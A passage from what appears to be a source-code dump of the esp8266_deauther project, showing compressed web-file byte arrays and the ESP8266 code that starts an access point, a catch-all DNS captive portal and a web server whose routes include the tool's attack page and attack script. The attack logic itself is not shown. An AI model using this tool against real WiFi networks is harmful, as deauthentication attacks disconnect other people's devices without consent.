0xf5, 0xa7, 0xb0, 0x97, 0x63, 0x41, 0x4f, 0xb8, 0x5f, 0x50, 0x63, 0xf8, 0xca, 0x0f, 0x96, 0xec, 0xad, 0x33, 0x97, 0x52, 0xe6, 0xd1, 0xd6, 0x4c, 0x9b, 0xef, 0xe6, 0x04, 0xf6, 0xa5, 0x45, 0x25, 0xdf, 0x29, 0x05, 0x0b, 0x4e, 0xd3, 0xf9, 0xb1, 0x2b, 0xa2, 0x88, 0xa9, 0xc8, 0x46, 0x38, 0xb4, 0x97, 0xdb, 0xb6, 0x9a, 0x14, 0x8d, 0xd6, 0xca, 0x95, 0xd5, 0x70, 0x33, 0x51, 0x0d, 0x5d, 0xff, 0xb2, 0xd0, 0xc0, 0x09, 0xd5, 0xb3, 0xa7, 0x74, 0x6b, 0x73, 0xd7, 0xf6, 0x35, 0x97, 0xdc, 0xad, 0xdb, 0xe4, 0xee, 0x90, 0xdd, 0x6d, 0x3b, 0x66, 0x17, 0x92, 0x1d, 0xe2, 0x7a, 0x0a, 0xbb, 0x63, 0x10, 0x93, 0xce, 0x8a, 0xa9, 0x9f, 0x78, 0xa4, 0x2e, 0x7e, 0x7b, 0xc1, 0xa7, 0x7d, 0xab, 0xe0, 0x1a, 0xdb, 0x48, 0x5d, 0xb1, 0xe5, 0xbf, 0xc9, 0xd8, 0xa5, 0x12, 0xf1, 0x8d, 0x53, 0x63, 0x6b, 0xee, 0x8e, 0x95, 0xfa, 0x4e, 0x6c, 0x46, 0x34, 0x79, 0xce, 0x7e, 0x3a, 0x92, 0x87, 0xec, 0xd2, 0x77, 0x62, 0xf0, 0x26, 0xb5, 0xd6, 0x8e, 0xb7, 0x6d, 0xb6, 0x4f, 0x58, 0xae, 0x4f, 0xe8, 0x26, 0x4d, 0xb5, 0xd2, 0x95, 0x9a, 0x43, 0xc2, 0x75, 0x67, 0x89, 0xa0, 0x1f, 0x07, 0x5f, 0x22, 0xb9, 0x21, 0x87, 0x8a, 0x3b, 0xef, 0xbe, 0x7b, 0xc3, 0x82, 0x11, 0x78, 0xc8, 0xaa, 0x9b, 0x61, 0x05, 0xaf, 0x0f, 0xa2, 0xfb, 0xd8, 0xd7, 0x18, 0xa6, 0xb4, 0x3a, 0xb3, 0xaf, 0x87, 0xe6, 0xed, 0x82, 0xba, 0xe5, 0xe9, 0xe4, 0x2b, 0xa7, 0x36, 0x31, 0x21, 0x0d, 0x71, 0x6a, 0x6e, 0x7f, 0x58, 0xe7, 0x9e, 0x12, 0x18, 0xfc, 0x10, 0x64, 0x3a, 0x9c, 0xce, 0xbe, 0x36, 0x99, 0x52, 0xd8, 0xa3, 0x30, 0xa8, 0x12, 0x3d, 0xca, 0xc8, 0x2f, 0xd5, 0xbe, 0xe8, 0x80, 0xfd, 0xb0, 0x2e, 0xd3, 0x4e, 0x47, 0x4a, 0x54, 0x93, 0x9e, 0x10, 0xb1, 0x3d, 0x24, 0x6d, 0x6a, 0xe2, 0x84, 0x7e, 0x88, 0xa3, 0xae, 0x11, 0x39, 0xc1, 0xa1, 0x4b, 0x4d, 0x27, 0x6f, 0xad, 0x9f, 0xd5, 0x30, 0xe4, 0x90, 0x81, 0xaa, 0x98, 0x5c, 0x5d, 0x71, 0x0c, 0x7c, 0xba, 0x4b, 0xa1, 0x42, 0x13, 0xd7, 0x09, 0xf6, 0xaa, 0xac, 0xdb, 0xcd, 0xb9, 0x08, 0x1d, 0x06, 0x81, 0x5d, 0xff, 0xf2, 0x40, 0xf9, 0x5f, 0xa2, 0x7f, 0xe9, 0x65, 0xca, 0xe8, 0x12, 0xda, 0xf4, 0x3e, 0xc5, 0xc4, 0xab, 0x85, 0xf6, 0x9d, 0x2b, 0x57, 0x43, 0x0f, 0xad, 0xfb, 0xbd, 0xac, 0xc4, 0xf6, 0x04, 0x09, 0xfe, 0xf3, 0x1a, 0xfb, 0x2a, 0x57, 0xda, 0x20, 0x03, 0xf6, 0x33, 0x2c, 0x7d, 0x0d, 0x3b, 0xa6, 0x5f, 0x46, 0xb9, 0xe4, 0x42, 0xf6, 0xa2, 0x56, 0x26, 0xc6, 0xd3, 0x83, 0xa7, 0x2a, 0x8b, 0xe1, 0x69, 0xb1, 0x43, 0x03, 0xa9, 0x6c, 0x7e, 0x6e, 0x6e, 0xa3, 0x8a, 0x99, 0x60, 0xea, 0xe5, 0x0d, 0x4d, 0xb2, 0x46, 0x8c, 0x2e, 0xe6, 0xc9, 0x40, 0xbb, 0x2e, 0xfd, 0xf2, 0x29, 0xfd, 0xd3, 0x03, 0x2b, 0xd6, 0xd9, 0x77, 0x9f, 0xae, 0x88, 0x78, 0xd5, 0x21, 0xde, 0x77, 0x01, 0x4e, 0x29, 0x6e, 0x40, 0x0d, 0x85, 0x1e, 0x8c, 0x7c, 0x46, 0xd8, 0x58, 0x46, 0x5a, 0x7e, 0x2b, 0x94, 0xe2, 0xb5, 0xc5, 0xbb, 0xea, 0x8d, 0x45, 0x0c, 0xc4, 0x9d, 0xa7, 0x62, 0xbd, 0xa0, 0x6e, 0xdd, 0xc0, 0xfe, 0xe0, 0xc7, 0x4e, 0x56, 0x84, 0xc6, 0xcb, 0x39, 0x8f, 0xff, 0x7c, 0x2d, 0xa6, 0x50, 0x6f, 0xed, 0x84, 0xe1, 0x23, 0x7e, 0x7f, 0xc4, 0xb9, 0x72, 0x33, 0x05, 0x6c, 0xb7, 0x32, 0x9a, 0xf0, 0xfc, 0x3a, 0x80, 0x3e, 0xba, 0xfe, 0x4e, 0xa7, 0xd5, 0x3e, 0x90, 0xbd, 0xd1, 0xea, 0x62, 0x58, 0x81, 0x66, 0x69, 0xee, 0x9c, 0x93, 0xd5, 0x42, 0xfd, 0xb9, 0x81, 0x5f, 0xf7, 0x6c, 0x35, 0x51, 0x10, 0xd0, 0x6f, 0x76, 0xb1, 0x28, 0xfa, 0x81, 0x8e, 0x87, 0x97, 0x8f, 0xff, 0x79, 0xf4, 0x77, 0x1a, 0x4c, 0x4c, 0xbe, 0x5c, 0xc8, 0xa9, 0x0f, 0x2e, 0x1c, 0x2b, 0xe7, 0x6e, 0xcc, 0xbc, 0xfd, 0x6f, 0x52, 0x9f, 0x42, 0xc8, 0x93, 0x3c, 0x00, 0x00};\nconst char LICENSE[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x4c, 0x49, 0x43, 0x45, 0x4e, 0x53, 0x45, 0x00, 0x5d, 0x52, 0x4b, 0x6f, 0xa3, 0x30, 0x10, 0xbe, 0xfb, 0x57, 0x4c, 0x73, 0x6a, 0x25, 0xd4, 0xad, 0x7a, 0xdc, 0x9b, 0x0b, 0x4e, 0x63, 0x2d, 0x81, 0xc8, 0x38, 0xcd, 0xe6, 0xe8, 0x80, 0x13, 0x5c, 0x11, 0x1c, 0x61, 0xb3, 0x51, 0xff, 0xfd, 0xce, 0x90, 0xf4, 0x29, 0x21, 0x21, 0x8f, 0x67, 0xbe, 0xd7, 0x38, 0xf3, 0xd0, 0xfb, 0x08, 0x83, 0x6d, 0x5c, 0x88, 0x83, 0xdb, 0x8d, 0xd1, 0x26, 0x60, 0x9a, 0x7f, 0x76, 0x88, 0x2e, 0x58, 0xf0, 0x03, 0x04, 0xdb, 0x75, 0x10, 0x5b, 0x17, 0x20, 0xf8, 0x7d, 0x3c, 0x9b, 0xc1, 0x82, 0x09, 0x60, 0x60, 0xf6, 0x6a, 0x8e, 0x47, 0x3b, 0xcc, 0x6e, 0x6e, 0x6e, 0x18, 0x5b, 0x4a, 0x0d, 0xb9, 0xab, 0x6d, 0x1f, 0x2c, 0x63, 0xa9, 0x3f, 0xbd, 0x0d, 0xee, 0xd0, 0x46, 0xb8, 0xad, 0xef, 0xe0, 0xf1, 0xe1, 0xf1, 0x01, 0xaa, 0x93, 0xa9, 0x6d, 0x3b, 0xb6, 0x3d, 0x68, 0x5b, 0xb7, 0xbd, 0xef, 0xfc, 0xc1, 0xd9, 0xc0, 0xd8, 0xca, 0x0e, 0x47, 0x17, 0x82, 0xf3, 0x3d, 0x20, 0x41, 0x6b, 0x07, 0xbb, 0x7b, 0x83, 0xc3, 0x60, 0xfa, 0x68, 0x9b, 0x04, 0xf6, 0x83, 0x45, 0x09, 0x7b, 0xa8, 0x5b, 0x33, 0x1c, 0x50, 0x57, 0xf4, 0x60, 0xfa, 0x37, 0x38, 0xd9, 0x21, 0xe0, 0x80, 0xdf, 0x45, 0xe3, 0x7a, 0xd7, 0x1f, 0x50, 0x4c, 0x8d, 0x94, 0x0c, 0x3b, 0x7f, 0xe8, 0xec, 0x1b, 0xd4, 0x1a, 0x7c, 0xed, 0x0c, 0xe2, 0x41, 0xe3, 0xeb, 0xf1, 0x68, 0xfb, 0x68, 0x22, 0xf1, 0xed, 0x5d, 0x67, 0x03, 0xdc, 0xc6, 0xd6, 0xc2, 0xac, 0xba, 0x4e, 0xcc, 0xee, 0x26, 0x92, 0xc6, 0x9a, 0x8e, 0xb9, 0x1e, 0xe8, 0xee, 0xfd, 0x0a, 0xce, 0x2e, 0xb6, 0x7e, 0xa4, 0xa8, 0x28, 0xa8, 0x9a, 0x30, 0x12, 0x70, 0x7d, 0xdd, 0x8d, 0x0d, 0x69, 0x78, 0xbf, 0xee, 0xdc, 0xd1, 0x5d, 0x19, 0x68, 0x7c, 0xca, 0x21, 0x30, 0x04, 0x1d, 0x03, 0x3a, 0x20, 0x9d, 0x09, 0x1c, 0x7d, 0xe3, 0xf6, 0xf4, 0xb7, 0x93, 0xad, 0xd3, 0xb8, 0xeb, 0x5c, 0x68, 0x13, 0xf8, 0xba, 0x83, 0x40, 0xc5, 0x29, 0xd0, 0x84, 0x7c, 0xfc, 0xba, 0x6e, 0x82, 0x21, 0x02, 0x26, 0x07, 0x93, 0xd7, 0x4f, 0x75, 0x53, 0x0f, 0x49, 0x3f, 0x51, 0xa0, 0xf1, 0x1a, 0x51, 0xa0, 0xca, 0xb9, 0xf5, 0xc7, 0xef, 0x4e, 0x5c, 0x60, 0xfb, 0x71, 0xe8, 0x91, 0xd2, 0x4e, 0x33, 0x8d, 0xc7, 0xc8, 0x26, 0xc6, 0x57, 0x5b, 0x47, 0xaa, 0x50, 0xfb, 0xde, 0x77, 0x9d, 0x3f, 0x93, 0xb5, 0xda, 0xf7, 0x8d, 0x23, 0x47, 0xe1, 0x37, 0x63, 0x1a, 0xaf, 0xcc, 0xce, 0xff, 0xb3, 0x93, 0x97, 0xcb, 0x9a, 0xf1, 0x05, 0xa1, 0xd4, 0x8b, 0x04, 0x5a, 0xc0, 0xe9, 0x73, 0xab, 0xd7, 0xab, 0xd0, 0x1a, 0x7c, 0x45, 0x3b, 0x7b, 0x0d, 0x0c, 0x79, 0x31, 0x5e, 0xf3, 0xc5, 0xce, 0x40, 0xf4, 0x21, 0xe2, 0xe2, 0x9d, 0xe9, 0xe0, 0xe4, 0x87, 0x89, 0xef, 0xa7, 0xcd, 0x7b, 0xe4, 0x5f, 0x08, 0xa8, 0xca, 0xb9, 0xde, 0x70, 0x25, 0x40, 0x56, 0xb0, 0x52, 0xe5, 0x8b, 0xcc, 0x44, 0x06, 0x33, 0x5e, 0xe1, 0x79, 0x96, 0xc0, 0x46, 0xea, 0x45, 0xb9, 0xd6, 0x80, 0x1d, 0x8a, 0x17, 0x7a, 0x0b, 0xe5, 0x1c, 0x78, 0xb1, 0x85, 0x3f, 0xb2, 0xc8, 0x12, 0x10, 0x7f, 0x57, 0x4a, 0x54, 0x15, 0x94, 0x8a, 0xc9, 0xe5, 0x2a, 0x97, 0x02, 0x6b, 0xb2, 0x48, 0xf3, 0x75, 0x26, 0x8b, 0x67, 0x78, 0xc2, 0xb9, 0xa2, 0xc4, 0xb7, 0x2c, 0xf1, 0x45, 0x23, 0xa8, 0x2e, 0x81, 0x08, 0xaf, 0x50, 0x52, 0x54, 0x04, 0xb6, 0x14, 0x2a, 0x5d, 0xe0, 0x91, 0x3f, 0xc9, 0x5c, 0xea, 0x6d, 0xc2, 0xe6, 0x52, 0x17, 0x84, 0x39, 0x2f, 0x15, 0x70, 0x58, 0x71, 0xa5, 0x65, 0xba, 0xce, 0xb9, 0x82, 0xd5, 0x5a, 0xad, 0xca, 0x4a, 0x20, 0x7d, 0x86, 0xb0, 0x85, 0x2c, 0xe6, 0x0a, 0x59, 0xc4, 0x52, 0x14, 0xfa, 0x1e, 0x59, 0xb1, 0x06, 0xe2, 0x05, 0x0f, 0x50, 0x2d, 0x78, 0x9e, 0x13, 0x15, 0xe3, 0x6b, 0x54, 0xaf, 0x48, 0x1f, 0xa4, 0xe5, 0x6a, 0xab, 0xe4, 0xf3, 0x42, 0xc3, 0xa2, 0xcc, 0x33, 0x81, 0xc5, 0x27, 0x81, 0xca, 0xf8, 0x53, 0x2e, 0x2e, 0x54, 0x68, 0x2a, 0xcd, 0xb9, 0x5c, 0x26, 0x90, 0xf1, 0x25, 0x7f, 0x16, 0xd3, 0x54, 0x89, 0x28, 0x8a, 0x51, 0xdb, 0x45, 0x1d, 0x6c, 0x16, 0x82, 0x4a, 0xc4, 0xc7, 0xf1, 0x4b, 0xb5, 0x2c, 0x0b, 0xb2, 0x91, 0x96, 0x85, 0x56, 0x78, 0x4c, 0xd0, 0xa5, 0xd2, 0x1f, 0xa3, 0x1b, 0x59, 0x89, 0x04, 0xb8, 0x92, 0x15, 0x05, 0x32, 0x57, 0xe5, 0x32, 0x61, 0x14, 0x27, 0x4e, 0x94, 0x13, 0x08, 0xce, 0x15, 0xe2, 0x82, 0x42, 0x51, 0xc3, 0xb7, 0x8d, 0x60, 0x0b, 0x9d, 0xd7, 0x95, 0xf8, 0x00, 0x84, 0x4c, 0xf0, 0x1c, 0xb1, 0x2a, 0x1a, 0x26, 0x8b, 0xef, 0xcd, 0xf7, 0xec, 0x3f, 0xdb, 0xf8, 0x24, 0x79, 0x7e, 0x04, 0x00, 0x00};\n#endif\n\nvoid copyWebFiles(bool force){\n#ifdef USE_PROGMEM_WEB_FILES\nif(settings::getWebSettings().use_spiffs){\n  if(!LittleFS.exists(\"/web/index.html.gz\") || force) progmemToSpiffs(indexhtml, sizeof(indexhtml), \"/web/index.html.gz\");\n  if(!LittleFS.exists(\"/web/scan.html.gz\") || force) progmemToSpiffs(scanhtml, sizeof(scanhtml), \"/web/scan.html.gz\");\n  if(!LittleFS.exists(\"/web/info.html.gz\") || force) progmemToSpiffs(infohtml, sizeof(infohtml), \"/web/info.html.gz\");\n  if(!LittleFS.exists(\"/web/ssids.html.gz\") || force) progmemToSpiffs(ssidshtml, sizeof(ssidshtml), \"/web/ssids.html.gz\");\n  if(!LittleFS.exists(\"/web/attack.html.gz\") || force) progmemToSpiffs(attackhtml, sizeof(attackhtml), \"/web/attack.html.gz\");\n  if(!LittleFS.exists(\"/web/settings.html.gz\") || force) progmemToSpiffs(settingshtml, sizeof(settingshtml), \"/web/settings.html.gz\");\n  if(!LittleFS.exists(\"/web/style.css.gz\") || force) progmemToSpiffs(stylecss, sizeof(stylecss), \"/web/style.css.gz\");\n  if(!LittleFS.exists(\"/web/js/ssids.js.gz\") || force) progmemToSpiffs(ssidsjs, sizeof(ssidsjs), \"/web/js/ssids.js.gz\");\n  if(!LittleFS.exists(\"/web/js/site.js.gz\") || force) progmemToSpiffs(sitejs, sizeof(sitejs), \"/web/js/site.js.gz\");\n  if(!LittleFS.exists(\"/web/js/attack.js.gz\") || force) progmemToSpiffs(attackjs, sizeof(attackjs), \"/web/js/attack.js.gz\");\n  if(!LittleFS.exists(\"/web/js/scan.js.gz\") || force) progmemToSpiffs(scanjs, sizeof(scanjs), \"/web/js/scan.js.gz\");\n  if(!LittleFS.exists(\"/web/js/settings.js.gz\") || force) progmemToSpiffs(settingsjs, sizeof(settingsjs), \"/web/js/settings.js.gz\");\n  if(!LittleFS.exists(\"/web/lang/hu.lang.gz\") || force) progmemToSpiffs(hulang, sizeof(hulang), \"/web/lang/hu.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/ja.lang.gz\") || force) progmemToSpiffs(jalang, sizeof(jalang), \"/web/lang/ja.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/nl.lang.gz\") || force) progmemToSpiffs(nllang, sizeof(nllang), \"/web/lang/nl.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/fi.lang.gz\") || force) progmemToSpiffs(filang, sizeof(filang), \"/web/lang/fi.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/cn.lang.gz\") || force) progmemToSpiffs(cnlang, sizeof(cnlang), \"/web/lang/cn.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/ru.lang.gz\") || force) progmemToSpiffs(rulang, sizeof(rulang), \"/web/lang/ru.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/pl.lang.gz\") || force) progmemToSpiffs(pllang, sizeof(pllang), \"/web/lang/pl.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/uk.lang.gz\") || force) progmemToSpiffs(uklang, sizeof(uklang), \"/web/lang/uk.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/de.lang.gz\") || force) progmemToSpiffs(delang, sizeof(delang), \"/web/lang/de.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/it.lang.gz\") || force) progmemToSpiffs(itlang, sizeof(itlang), \"/web/lang/it.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/en.lang.gz\") || force) progmemToSpiffs(enlang, sizeof(enlang), \"/web/lang/en.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/fr.lang.gz\") || force) progmemToSpiffs(frlang, sizeof(frlang), \"/web/lang/fr.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/in.lang.gz\") || force) progmemToSpiffs(inlang, sizeof(inlang), \"/web/lang/in.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/ko.lang.gz\") || force) progmemToSpiffs(kolang, sizeof(kolang), \"/web/lang/ko.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/ro.lang.gz\") || force) progmemToSpiffs(rolang, sizeof(rolang), \"/web/lang/ro.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/da.lang.gz\") || force) progmemToSpiffs(dalang, sizeof(dalang), \"/web/lang/da.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/ptbr.lang.gz\") || force) progmemToSpiffs(ptbrlang, sizeof(ptbrlang), \"/web/lang/ptbr.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/cs.lang.gz\") || force) progmemToSpiffs(cslang, sizeof(cslang), \"/web/lang/cs.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/tlh.lang.gz\") || force) progmemToSpiffs(tlhlang, sizeof(tlhlang), \"/web/lang/tlh.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/es.lang.gz\") || force) progmemToSpiffs(eslang, sizeof(eslang), \"/web/lang/es.lang.gz\");\n  if(!LittleFS.exists(\"/web/lang/th.lang.gz\") || force) progmemToSpiffs(thlang, sizeof(thlang), \"/web/lang/th.lang.gz\");\n    if(!LittleFS.exists(\"/web/LICENSE.gz\") || force) progmemToSpiffs(LICENSE, sizeof(LICENSE), \"/web/LICENSE.gz\");\n}\n#endif\n}\n\n#endif"
  },
  {
    "path": "esp8266_deauther/wifi.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"wifi.h\"\n\nextern \"C\" {\n    #include \"user_interface.h\"\n}\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <DNSServer.h>\n#include <ESP8266mDNS.h>\n#include <LittleFS.h>\n\n#include \"language.h\"\n#include \"debug.h\"\n#include \"settings.h\"\n#include \"CLI.h\"\n#include \"Attack.h\"\n#include \"Scan.h\"\n\nextern bool progmemToSpiffs(const char* adr, int len, String path);\n\n#include \"webfiles.h\"\n\nextern Scan   scan;\nextern CLI    cli;\nextern Attack attack;\n\ntypedef enum wifi_mode_t {\n    off = 0,\n    ap  = 1,\n    st  = 2\n} wifi_mode_t;\n\ntypedef struct ap_settings_t {\n    char    path[33];\n    char    ssid[33];\n    char    password[65];\n    uint8_t channel;\n    bool    hidden;\n    bool    captive_portal;\n} ap_settings_t;\n\nnamespace wifi {\n    // ===== PRIVATE ===== //\n    wifi_mode_t   mode;\n    ap_settings_t ap_settings;\n\n    // Server and other global objects\n    ESP8266WebServer server(80);\n    DNSServer dns;\n    IPAddress ip WEB_IP_ADDR;\n    IPAddress    netmask(255, 255, 255, 0);\n\n    void setPath(String path) {\n        if (path.charAt(0) != '/') {\n            path = '/' + path;\n        }\n\n        if (path.length() > 32) {\n            debuglnF(\"ERROR: Path longer than 32 characters\");\n        } else {\n            strncpy(ap_settings.path, path.c_str(), 32);\n        }\n    }\n\n    void setSSID(String ssid) {\n        if (ssid.length() > 32) {\n            debuglnF(\"ERROR: SSID longer than 32 characters\");\n        } else {\n            strncpy(ap_settings.ssid, ssid.c_str(), 32);\n        }\n    }\n\n    void setPassword(String password) {\n        if (password.length() > 64) {\n            debuglnF(\"ERROR: Password longer than 64 characters\");\n        } else if (password.length() < 8) {\n            debuglnF(\"ERROR: Password must be at least 8 characters long\");\n        } else {\n            strncpy(ap_settings.password, password.c_str(), 64);\n        }\n    }\n\n    void setChannel(uint8_t ch) {\n        if ((ch < 1) || (ch > 14)) {\n            debuglnF(\"ERROR: Channel must be withing the range of 1-14\");\n        } else {\n            ap_settings.channel = ch;\n        }\n    }\n\n    void setHidden(bool hidden) {\n        ap_settings.hidden = hidden;\n    }\n\n    void setCaptivePortal(bool captivePortal) {\n        ap_settings.captive_portal = captivePortal;\n    }\n\n    void handleFileList() {\n        if (!server.hasArg(\"dir\")) {\n            server.send(500, str(W_TXT), str(W_BAD_ARGS));\n            return;\n        }\n\n        String path = server.arg(\"dir\");\n        // debugF(\"handleFileList: \");\n        // debugln(path);\n\n        Dir dir = LittleFS.openDir(path);\n\n        String output = String('{'); // {\n        File   entry;\n        bool   first = true;\n\n        while (dir.next()) {\n            entry = dir.openFile(\"r\");\n\n            if (first) first = false;\n            else output += ',';                 // ,\n\n            output += '[';                      // [\n            output += '\"' + entry.name() + '\"'; // \"filename\"\n            output += ']';                      // ]\n\n            entry.close();\n        }\n\n        output += CLOSE_BRACKET;\n        server.send(200, str(W_JSON).c_str(), output);\n    }\n\n    String getContentType(String filename) {\n        if (server.hasArg(\"download\")) return String(F(\"application/octet-stream\"));\n        else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);\n        else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);\n        else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);\n        else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);\n        else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);\n        else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);\n        else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);\n        else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);\n        else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);\n        else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);\n        else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);\n        else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);\n        else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);\n        return str(W_TXT);\n    }\n\n    bool handleFileRead(String path) {\n        // prnt(W_AP_REQUEST);\n        // prnt(path);\n\n        if (path.charAt(0) != '/') path = '/' + path;\n        if (path.charAt(path.length() - 1) == '/') path += String(F(\"index.html\"));\n\n        String contentType = getContentType(path);\n\n        if (!LittleFS.exists(path)) {\n            if (LittleFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);\n            else if (LittleFS.exists(String(ap_settings.path) + path)) path = String(ap_settings.path) + path;\n            else if (LittleFS.exists(String(ap_settings.path) + path + str(W_DOT_GZIP))) path = String(ap_settings.path) + path + str(W_DOT_GZIP);\n            else {\n                // prntln(W_NOT_FOUND);\n                return false;\n            }\n        }\n\n        File file = LittleFS.open(path, \"r\");\n\n        server.streamFile(file, contentType);\n        file.close();\n        // prnt(SPACE);\n        // prntln(W_OK);\n\n        return true;\n    }\n\n    void sendProgmem(const char* ptr, size_t size, const char* type) {\n        server.sendHeader(\"Content-Encoding\", \"gzip\");\n        server.sendHeader(\"Cache-Control\", \"max-age=3600\");\n        server.send_P(200, str(type).c_str(), ptr, size);\n    }\n\n    // ===== PUBLIC ====== //\n    void begin() {\n        // Set settings\n        setPath(\"/web\");\n        setSSID(settings::getAccessPointSettings().ssid);\n        setPassword(settings::getAccessPointSettings().password);\n        setChannel(settings::getWifiSettings().channel);\n        setHidden(settings::getAccessPointSettings().hidden);\n        setCaptivePortal(settings::getWebSettings().captive_portal);\n\n        // copy web files to SPIFFS\n        if (settings::getWebSettings().use_spiffs) {\n            copyWebFiles(false);\n        }\n\n        // Set mode\n        mode = wifi_mode_t::off;\n        WiFi.mode(WIFI_OFF);\n        wifi_set_opmode(STATION_MODE);\n\n        // Set mac address\n        wifi_set_macaddr(STATION_IF, (uint8_t*)settings::getWifiSettings().mac_st);\n        wifi_set_macaddr(SOFTAP_IF, (uint8_t*)settings::getWifiSettings().mac_ap);\n    }\n\n    String getMode() {\n        switch (mode) {\n            case wifi_mode_t::off:\n                return \"OFF\";\n            case wifi_mode_t::ap:\n                return \"AP\";\n            case wifi_mode_t::st:\n                return \"ST\";\n            default:\n                return String();\n        }\n    }\n\n    void printStatus() {\n        prnt(String(F(\"[WiFi] Path: '\")));\n        prnt(ap_settings.path);\n        prnt(String(F(\"', Mode: '\")));\n        prnt(getMode());\n        prnt(String(F(\"', SSID: '\")));\n        prnt(ap_settings.ssid);\n        prnt(String(F(\"', password: '\")));\n        prnt(ap_settings.password);\n        prnt(String(F(\"', channel: '\")));\n        prnt(ap_settings.channel);\n        prnt(String(F(\"', hidden: \")));\n        prnt(b2s(ap_settings.hidden));\n        prnt(String(F(\", captive-portal: \")));\n        prntln(b2s(ap_settings.captive_portal));\n    }\n\n    void startNewAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {\n        setPath(path);\n        setSSID(ssid);\n        setPassword(password);\n        setChannel(ch);\n        setHidden(hidden);\n        setCaptivePortal(captivePortal);\n\n        startAP();\n    }\n\n    /*\n        void startAP(String path) {\n            setPath(path):\n\n            startAP();\n        }\n     */\n    void startAP() {\n        WiFi.softAPConfig(ip, ip, netmask);\n        WiFi.softAP(ap_settings.ssid, ap_settings.password, ap_settings.channel, ap_settings.hidden);\n\n        dns.setErrorReplyCode(DNSReplyCode::NoError);\n        dns.start(53, \"*\", ip);\n\n        MDNS.begin(WEB_URL);\n\n        server.on(\"/list\", HTTP_GET, handleFileList); // list directory\n\n        #ifdef USE_PROGMEM_WEB_FILES\n        // ================================================================\n        // paste here the output of the webConverter.py\n        if (!settings::getWebSettings().use_spiffs) {\n            server.on(\"/\", HTTP_GET, []() {\n                sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);\n            });\n            server.on(\"/index.html\", HTTP_GET, []() {\n                sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);\n            });\n            server.on(\"/scan.html\", HTTP_GET, []() {\n                sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);\n            });\n            server.on(\"/info.html\", HTTP_GET, []() {\n                sendProgmem(infohtml, sizeof(infohtml), W_HTML);\n            });\n            server.on(\"/ssids.html\", HTTP_GET, []() {\n                sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);\n            });\n            server.on(\"/attack.html\", HTTP_GET, []() {\n                sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);\n            });\n            server.on(\"/settings.html\", HTTP_GET, []() {\n                sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);\n            });\n            server.on(\"/style.css\", HTTP_GET, []() {\n                sendProgmem(stylecss, sizeof(stylecss), W_CSS);\n            });\n            server.on(\"/js/ssids.js\", HTTP_GET, []() {\n                sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);\n            });\n            server.on(\"/js/site.js\", HTTP_GET, []() {\n                sendProgmem(sitejs, sizeof(sitejs), W_JS);\n            });\n            server.on(\"/js/attack.js\", HTTP_GET, []() {\n                sendProgmem(attackjs, sizeof(attackjs), W_JS);\n            });\n            server.on(\"/js/scan.js\", HTTP_GET, []() {\n                sendProgmem(scanjs, sizeof(scanjs), W_JS);\n            });\n            server.on(\"/js/settings.js\", HTTP_GET, []() {\n                sendProgmem(settingsjs, sizeof(settingsjs), W_JS);\n            });\n            server.on(\"/lang/hu.lang\", HTTP_GET, []() {\n                sendProgmem(hulang, sizeof(hulang), W_JSON);\n            });\n            server.on(\"/lang/ja.lang\", HTTP_GET, []() {\n                sendProgmem(jalang, sizeof(jalang), W_JSON);\n            });\n            server.on(\"/lang/nl.lang\", HTTP_GET, []() {\n                sendProgmem(nllang, sizeof(nllang), W_JSON);\n            });\n            server.on(\"/lang/fi.lang\", HTTP_GET, []() {\n                sendProgmem(filang, sizeof(filang), W_JSON);\n            });\n            server.on(\"/lang/cn.lang\", HTTP_GET, []() {\n                sendProgmem(cnlang, sizeof(cnlang), W_JSON);\n            });\n            server.on(\"/lang/ru.lang\", HTTP_GET, []() {\n                sendProgmem(rulang, sizeof(rulang), W_JSON);\n            });\n            server.on(\"/lang/pl.lang\", HTTP_GET, []() {\n                sendProgmem(pllang, sizeof(pllang), W_JSON);\n            });\n            server.on(\"/lang/uk.lang\", HTTP_GET, []() {\n                sendProgmem(uklang, sizeof(uklang), W_JSON);\n            });\n            server.on(\"/lang/de.lang\", HTTP_GET, []() {\n                sendProgmem(delang, 